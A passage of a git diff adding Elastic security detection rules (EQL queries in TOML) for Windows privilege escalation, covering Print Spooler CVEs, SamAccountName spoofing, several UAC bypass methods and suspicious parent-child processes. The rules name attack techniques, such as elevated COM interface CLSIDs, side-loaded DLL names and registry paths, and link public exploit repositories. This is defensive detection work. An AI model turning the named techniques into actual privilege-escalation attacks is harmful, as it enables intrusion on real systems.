"C:\\Windows\\System32\\spool\\drivers\\x64\\4"] +[registry where + registry.path : "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\*\\CopyFiles\\Payload\\Module" and + registry.data.strings : "C:\\Windows\\System32\\spool\\drivers\\x64\\4\\*"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1068" +name = "Exploitation for Privilege Escalation" +reference = "https://attack.mitre.org/techniques/T1068/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/privilege_escalation_printspooler_service_suspicious_file.toml b/rules/windows/privilege_escalation_printspooler_service_suspicious_file.toml new file mode 100644 index 000000000..de8ec4675 --- /dev/null +++ b/rules/windows/privilege_escalation_printspooler_service_suspicious_file.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/08/14" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to exploit privilege escalation vulnerabilities related to the Print Spooler service. For more +information refer to the following CVE's - CVE-2020-1048, CVE-2020-1337 and CVE-2020-1300 and verify that the impacted +system is patched. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious PrintSpooler Service Executable File Creation" +references = [ + "https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/", + "https://www.thezdi.com/blog/2020/7/8/cve-2020-1300-remote-code-execution-through-microsoft-windows-cab-files", +] +risk_score = 73 +rule_id = "5bb4a95d-5a08-48eb-80db-4c3a63ec78a8" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and process.name : "spoolsv.exe" and + file.extension : ("exe", "dll") and + not file.path : ("?:\\Windows\\System32\\spool\\*", "?:\\Windows\\Temp\\*", "?:\\Users\\*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1068" +reference = "https://attack.mitre.org/techniques/T1068/" +name = "Exploitation for Privilege Escalation" + + +[rule.threat.tactic] +id = "TA0004" +reference = "https://attack.mitre.org/tactics/TA0004/" +name = "Privilege Escalation" + diff --git a/rules/windows/privilege_escalation_printspooler_suspicious_file_deletion.toml b/rules/windows/privilege_escalation_printspooler_suspicious_file_deletion.toml new file mode 100644 index 000000000..5da9302e5 --- /dev/null +++ b/rules/windows/privilege_escalation_printspooler_suspicious_file_deletion.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2021/07/06" +maturity = "production" +updated_date = "2021/07/06" + +[rule] +author = ["Elastic"] +description = """ +Detects deletion of print driver files by an unusual process. This may indicate a clean up attempt post successful +privilege escalation via Print Spooler service related vulnerabilities. +""" +false_positives = [ + """ + Uninstall or manual deletion of a legitimate printing driver files. Verify the printer file metadata such as + manufacturer and signature information. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Print Spooler File Deletion" +references = [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/afwu/PrintNightmare", +] +risk_score = 47 +rule_id = "c4818812-d44f-47be-aaef-4cfb2f9cc799" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type : "deletion" and + not process.name : ("spoolsv.exe", "dllhost.exe", "explorer.exe") and + file.path : "?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.dll" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1068" +reference = "https://attack.mitre.org/techniques/T1068/" +name = "Exploitation for Privilege Escalation" + + +[rule.threat.tactic] +id = "TA0004" +reference = "https://attack.mitre.org/tactics/TA0004/" +name = "Privilege Escalation" diff --git a/rules/windows/privilege_escalation_printspooler_suspicious_spl_file.toml b/rules/windows/privilege_escalation_printspooler_suspicious_spl_file.toml new file mode 100644 index 000000000..a735a5ebf --- /dev/null +++ b/rules/windows/privilege_escalation_printspooler_suspicious_spl_file.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/08/14" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to exploit privilege escalation vulnerabilities related to the Print Spooler service including +CVE-2020-1048 and CVE-2020-1337. . +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious PrintSpooler SPL File Created" +note = """## Threat intel + +Refer to CVEs, CVE-2020-1048 and CVE-2020-1337 for further information on the vulnerability and exploit. Verify that the relevant system is patched.""" +references = ["https://safebreach.com/Post/How-we-bypassed-CVE-2020-1048-Patch-and-got-CVE-2020-1337"] +risk_score = 73 +rule_id = "a7ccae7b-9d2c-44b2-a061-98e5946971fa" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and + file.extension : "spl" and + file.path : "?:\\Windows\\System32\\spool\\PRINTERS\\*" and + not process.name : ("spoolsv.exe", + "printfilterpipelinesvc.exe", + "PrintIsolationHost.exe", + "splwow64.exe", + "msiexec.exe", + "poqexec.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1068" +reference = "https://attack.mitre.org/techniques/T1068/" +name = "Exploitation for Privilege Escalation" + + +[rule.threat.tactic] +id = "TA0004" +reference = "https://attack.mitre.org/tactics/TA0004/" +name = "Privilege Escalation" diff --git a/rules/windows/privilege_escalation_rogue_windir_environment_var.toml b/rules/windows/privilege_escalation_rogue_windir_environment_var.toml new file mode 100644 index 000000000..791707ea0 --- /dev/null +++ b/rules/windows/privilege_escalation_rogue_windir_environment_var.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/11/26" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies a privilege escalation attempt via a rogue Windows directory (Windir) environment variable. This is a known +primitive that is often combined with other vulnerabilities to elevate privileges. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Privilege Escalation via Windir Environment Variable" +references = ["https://www.tiraniddo.dev/2017/05/exploiting-environment-variables-in.html"] +risk_score = 73 +rule_id = "d563aaba-2e72-462b-8658-3e5ea22db3a6" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where registry.path : ("HKEY_USERS\\*\\Environment\\windir", "HKEY_USERS\\*\\Environment\\systemroot") and + not registry.data.strings : ("C:\\windows", "%SystemRoot%") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1574" +name = "Hijack Execution Flow" +reference = "https://attack.mitre.org/techniques/T1574/" +[[rule.threat.technique.subtechnique]] +id = "T1574.007" +name = "Path Interception by PATH Environment Variable" +reference = "https://attack.mitre.org/techniques/T1574/007/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/privilege_escalation_samaccountname_spoofing_attack.toml b/rules/windows/privilege_escalation_samaccountname_spoofing_attack.toml new file mode 100644 index 000000000..5b427d489 --- /dev/null +++ b/rules/windows/privilege_escalation_samaccountname_spoofing_attack.toml @@ -0,0 +1,68 @@ +[metadata] +creation_date = "2021/12/12" +maturity = "production" +updated_date = "2021/12/12" + +[rule] +author = ["Elastic"] +description = """ +Identifies a suspicious computer account name rename event, which may indicate an attempt to exploit CVE-2021-42278 to +elevate privileges from a standard domain user to a user with domain admin privileges. CVE-2021-42278 is a security vulnerability +that allows potential attackers to impersonate a domain controller via samAccountName attribute spoofing. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Privileged Escalation via SamAccountName Spoofing" +references = [ + "https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e", + "https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/", + "https://github.com/cube0x0/noPac", + "https://twitter.com/exploitph/status/1469157138928914432", + "https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html", +] +risk_score = 73 +rule_id = "bdcf646b-08d4-492c-870a-6c04e3700034" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +iam where event.action == "renamed-user-account" and + /* machine account name renamed to user like account name */ + winlog.event_data.OldTargetUserName : "*$" and not winlog.event_data.NewTargetUserName : "*$" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1078/" +name = "Valid Accounts" +id = "T1078" +[[rule.threat.technique.subtechnique]] +reference = "https://attack.mitre.org/techniques/T1078/002/" +name = "Domain Accounts" +id = "T1078.002" + + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0004/" +name = "Privilege Escalation" +id = "TA0004" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1098/" +name = "Account Manipulation" +id = "T1098" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" +id = "TA0003" + diff --git a/rules/windows/privilege_escalation_uac_bypass_com_clipup.toml b/rules/windows/privilege_escalation_uac_bypass_com_clipup.toml new file mode 100644 index 000000000..dbb88d659 --- /dev/null +++ b/rules/windows/privilege_escalation_uac_bypass_com_clipup.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/10/28" +maturity = "production" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to bypass User Account Control (UAC) by abusing an elevated COM Interface to launch a rogue Windows +ClipUp program. Attackers may attempt to bypass UAC to stealthily execute code with elevated permissions. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "UAC Bypass Attempt with IEditionUpgradeManager Elevated COM Interface" +references = ["https://github.com/hfiref0x/UACME"] +risk_score = 73 +rule_id = "b90cdde7-7e0d-4359-8bf0-2c112ce2008a" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and process.name : "Clipup.exe" and + not process.executable : "C:\\Windows\\System32\\ClipUp.exe" and process.parent.name : "dllhost.exe" and + /* CLSID of the Elevated COM Interface IEditionUpgradeManager */ + process.parent.args : "/Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41}" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.002" +name = "Bypass User Account Control" +reference = "https://attack.mitre.org/techniques/T1548/002/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/privilege_escalation_uac_bypass_com_ieinstal.toml b/rules/windows/privilege_escalation_uac_bypass_com_ieinstal.toml new file mode 100644 index 000000000..041c14d4a --- /dev/null +++ b/rules/windows/privilege_escalation_uac_bypass_com_ieinstal.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/11/03" +maturity = "production" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies User Account Control (UAC) bypass attempts by abusing an elevated COM Interface to launch a malicious +program. Attackers may attempt to bypass UAC to stealthily execute code with elevated permissions. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "UAC Bypass Attempt via Elevated COM Internet Explorer Add-On Installer" +references = ["https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html"] +risk_score = 47 +rule_id = "fc7c0fa4-8f03-4b3e-8336-c5feab0be022" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.executable : "C:\\*\\AppData\\*\\Temp\\IDC*.tmp\\*.exe" and + process.parent.name : "ieinstal.exe" and process.parent.args : "-Embedding" + + /* uncomment once in winlogbeat */ + /* and not (process.code_signature.subject_name == "Microsoft Corporation" and process.code_signature.trusted == true) */ +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.002" +name = "Bypass User Account Control" +reference = "https://attack.mitre.org/techniques/T1548/002/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml b/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml new file mode 100644 index 000000000..faaa1e07d --- /dev/null +++ b/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/10/19" +maturity = "production" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies User Account Control (UAC) bypass attempts via the ICMLuaUtil Elevated COM interface. Attackers may attempt +to bypass UAC to stealthily execute code with elevated permissions. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "UAC Bypass via ICMLuaUtil Elevated COM Interface" +risk_score = 73 +rule_id = "68d56fdc-7ffa-4419-8e95-81641bd6f845" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name == "dllhost.exe" and + process.parent.args in ("/Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", "/Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}") and + process.pe.original_file_name != "WerFault.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.002" +name = "Bypass User Account Control" +reference = "https://attack.mitre.org/techniques/T1548/002/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/privilege_escalation_uac_bypass_diskcleanup_hijack.toml b/rules/windows/privilege_escalation_uac_bypass_diskcleanup_hijack.toml new file mode 100644 index 000000000..96aa7295c --- /dev/null +++ b/rules/windows/privilege_escalation_uac_bypass_diskcleanup_hijack.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/08/18" +maturity = "production" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies User Account Control (UAC) bypass via hijacking DiskCleanup Scheduled Task. Attackers bypass UAC to +stealthily execute code with elevated permissions. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "UAC Bypass via DiskCleanup Scheduled Task Hijack" +risk_score = 47 +rule_id = "1dcc51f6-ba26-49e7-9ef4-2655abb2361e" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.args : "/autoclean" and process.args : "/d" and + not process.executable : ("C:\\Windows\\System32\\cleanmgr.exe", + "C:\\Windows\\SysWOW64\\cleanmgr.exe", + "C:\\Windows\\System32\\taskhostw.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.002" +name = "Bypass User Account Control" +reference = "https://attack.mitre.org/techniques/T1548/002/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" diff --git a/rules/windows/privilege_escalation_uac_bypass_dll_sideloading.toml b/rules/windows/privilege_escalation_uac_bypass_dll_sideloading.toml new file mode 100644 index 000000000..ddc8635cb --- /dev/null +++ b/rules/windows/privilege_escalation_uac_bypass_dll_sideloading.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/10/27" +maturity = "production" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to bypass User Account Control (UAC) via DLL side-loading. Attackers may attempt to bypass UAC to +stealthily execute code with elevated permissions. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "UAC Bypass Attempt via Privileged IFileOperation COM Interface" +references = ["https://github.com/hfiref0x/UACME"] +risk_score = 73 +rule_id = "5a14d01d-7ac8-4545-914c-b687c2cf66b3" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type : "change" and process.name : "dllhost.exe" and + /* Known modules names side loaded into process running with high or system integrity level for UAC Bypass, update here for new modules */ + file.name : ("wow64log.dll", "comctl32.dll", "DismCore.dll", "OskSupport.dll", "duser.dll", "Accessibility.ni.dll") and + /* has no impact on rule logic just to avoid OS install related FPs */ + not file.path : ("C:\\Windows\\SoftwareDistribution\\*", "C:\\Windows\\WinSxS\\*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.002" +name = "Bypass User Account Control" +reference = "https://attack.mitre.org/techniques/T1548/002/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/privilege_escalation_uac_bypass_event_viewer.toml b/rules/windows/privilege_escalation_uac_bypass_event_viewer.toml new file mode 100644 index 000000000..e3d957cdc --- /dev/null +++ b/rules/windows/privilege_escalation_uac_bypass_event_viewer.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/03/17" +maturity = "production" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies User Account Control (UAC) bypass via eventvwr.exe. Attackers bypass UAC to stealthily execute code with +elevated permissions. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Bypass UAC via Event Viewer" +risk_score = 73 +rule_id = "31b4c719-f2b4-41f6-a9bd-fce93c2eaf62" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "eventvwr.exe" and + not process.executable : + ("?:\\Windows\\SysWOW64\\mmc.exe", + "?:\\Windows\\System32\\mmc.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe", + "?:\\Windows\\System32\\WerFault.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +reference = "https://attack.mitre.org/techniques/T1548/" +name = "Abuse Elevation Control Mechanism" +[[rule.threat.technique.subtechnique]] +id = "T1548.002" +reference = "https://attack.mitre.org/techniques/T1548/002/" +name = "Bypass User Account Control" + + + +[rule.threat.tactic] +id = "TA0004" +reference = "https://attack.mitre.org/tactics/TA0004/" +name = "Privilege Escalation" + diff --git a/rules/windows/privilege_escalation_uac_bypass_mock_windir.toml b/rules/windows/privilege_escalation_uac_bypass_mock_windir.toml new file mode 100644 index 000000000..98e91c897 --- /dev/null +++ b/rules/windows/privilege_escalation_uac_bypass_mock_windir.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/10/26" +maturity = "production" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies an attempt to bypass User Account Control (UAC) by masquerading as a Microsoft trusted Windows directory. +Attackers may bypass UAC to stealthily execute code with elevated permissions. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "UAC Bypass Attempt via Windows Directory Masquerading" +references = ["https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e"] +risk_score = 73 +rule_id = "290aca65-e94d-403b-ba0f-62f320e63f51" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.args : ("C:\\Windows \\system32\\*.exe", "C:\\Windows \\SysWOW64\\*.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.002" +name = "Bypass User Account Control" +reference = "https://attack.mitre.org/techniques/T1548/002/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/privilege_escalation_uac_bypass_winfw_mmc_hijack.toml b/rules/windows/privilege_escalation_uac_bypass_winfw_mmc_hijack.toml new file mode 100644 index 000000000..744bb4122 --- /dev/null +++ b/rules/windows/privilege_escalation_uac_bypass_winfw_mmc_hijack.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/10/14" +maturity = "production" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows +Firewall snap-in. Attackers bypass UAC to stealthily execute code with elevated permissions. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "UAC Bypass via Windows Firewall Snap-In Hijack" +references = ["https://github.com/AzAgarampur/byeintegrity-uac"] +risk_score = 47 +rule_id = "1178ae09-5aff-460a-9f2f-455cd0ac4d8e" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name == "mmc.exe" and + /* process.Ext.token.integrity_level_name == "high" can be added in future for tuning */ + /* args of the Windows Firewall SnapIn */ + process.parent.args == "WF.msc" and process.name != "WerFault.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.002" +name = "Bypass User Account Control" +reference = "https://attack.mitre.org/techniques/T1548/002/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/privilege_escalation_uac_sdclt.toml b/rules/windows/privilege_escalation_uac_sdclt.toml new file mode 100644 index 000000000..bc9b37269 --- /dev/null +++ b/rules/windows/privilege_escalation_uac_sdclt.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "development" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies User Account Control (UAC) bypass via sdclt.exe. Attackers bypass UAC to stealthily execute code with +elevated permissions. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Bypass UAC via Sdclt" +risk_score = 73 +rule_id = "9b54e002-034a-47ac-9307-ad12c03fa900" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +type = "eql" + +query = ''' +/* add winlogbeat-* when process.code_signature.* fields are populated */ +/* still needs testing, applicable binary was not available on test machine */ + +sequence with maxspan=1m + [process where event.type in ("start", "process_started") and process.name : "sdclt.exe" and + /* uncomment once in winlogbeat */ + /* process.code_signature.subject_name == "Microsoft Corporation" and process.code_signature.trusted == true and */ + process.args : "/kickoffelev" + ] by process.entity_id + [process where event.type in ("start", "process_started") and process.parent.name : "sdclt.exe" and + not (process.executable : "C:\\Windows\\System32\\sdclt.exe" or + process.executable : "C:\\Windows\\System32\\control.exe" or + process.executable : "C:\\Windows\\SysWOW64\\sdclt.exe" or + process.executable : "C:\\Windows\\SysWOW64\\control.exe") + ] by process.parent.entity_id +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.002" +name = "Bypass User Account Control" +reference = "https://attack.mitre.org/techniques/T1548/002/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml b/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml new file mode 100644 index 000000000..ff195838a --- /dev/null +++ b/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml @@ -0,0 +1,79 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/08/25" + +[rule] +author = ["Elastic"] +description = """ +Identifies Windows programs run from unexpected parent processes. This could indicate masquerading or other strange +activity on a system. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Parent-Child Relationship" +references = [ + "https://github.com/sbousseaden/Slides/blob/master/Hunting%20MindMaps/PNG/Windows%20Processes%20TH.map.png", + "https://www.andreafortuna.org/2017/06/15/standard-windows-processes-a-brief-reference/", +] +risk_score = 47 +rule_id = "35df0dd8-092d-4a83-88c1-5151a804f31b" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and +process.parent.name != null and + ( + /* suspicious parent processes */ + (process.name:"autochk.exe" and not process.parent.name:"smss.exe") or + (process.name:("fontdrvhost.exe", "dwm.exe") and not process.parent.name:("wininit.exe", "winlogon.exe")) or + (process.name:("consent.exe", "RuntimeBroker.exe", "TiWorker.exe") and not process.parent.name:"svchost.exe") or + (process.name:"SearchIndexer.exe" and not process.parent.name:"services.exe") or + (process.name:"SearchProtocolHost.exe" and not process.parent.name:("SearchIndexer.exe", "dllhost.exe")) or + (process.name:"dllhost.exe" and not process.parent.name:("services.exe", "svchost.exe")) or + (process.name:"smss.exe" and not process.parent.name:("System", "smss.exe")) or + (process.name:"csrss.exe" and not process.parent.name:("smss.exe", "svchost.exe")) or + (process.name:"wininit.exe" and not process.parent.name:"smss.exe") or + (process.name:"winlogon.exe" and not process.parent.name:"smss.exe") or + (process.name:("lsass.exe", "LsaIso.exe") and not process.parent.name:"wininit.exe") or + (process.name:"LogonUI.exe" and not process.parent.name:("wininit.exe", "winlogon.exe")) or + (process.name:"services.exe" and not process.parent.name:"wininit.exe") or + (process.name:"svchost.exe" and not process.parent.name:("MsMpEng.exe", "services.exe")) or + (process.name:"spoolsv.exe" and not process.parent.name:"services.exe") or + (process.name:"taskhost.exe" and not process.parent.name:("services.exe", "svchost.exe")) or + (process.name:"taskhostw.exe" and not process.parent.name:("services.exe", "svchost.exe")) or + (process.name:"userinit.exe" and not process.parent.name:("dwm.exe", "winlogon.exe")) or + (process.name:("wmiprvse.exe", "wsmprovhost.exe", "winrshost.exe") and not process.parent.name:"svchost.exe") or + /* suspicious child processes */ + (process.parent.name:("SearchProtocolHost.exe", "taskhost.exe", "csrss.exe") and not process.name:("werfault.exe", "wermgr.exe", "WerFaultSecure.exe")) or + (process.parent.name:"autochk.exe" and not process.name:("chkdsk.exe", "doskey.exe", "WerFault.exe")) or + (process.parent.name:"smss.exe" and not process.name:("autochk.exe", "smss.exe", "csrss.exe", "wininit.exe", "winlogon.exe", "setupcl.exe", "WerFault.exe")) or + (process.parent.name:"wermgr.exe" and not process.name:("WerFaultSecure.exe", "wermgr.exe", "WerFault.exe")) or + (process.parent.name:"conhost.exe" and not process.name:("mscorsvw.exe", "wermgr.exe", "WerFault.exe", "WerFaultSecure.exe")) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1055" +name = "Process Injection" +reference = "https://attack.mitre.org/techniques/T1055/" +[[rule.threat.technique.subtechnique]] +id = "T1055.012" +name = "Process Hollowing" +reference = "https://attack.mitre.org/techniques/T1055/012/" + + + +[rule.threat.tactic] +id = 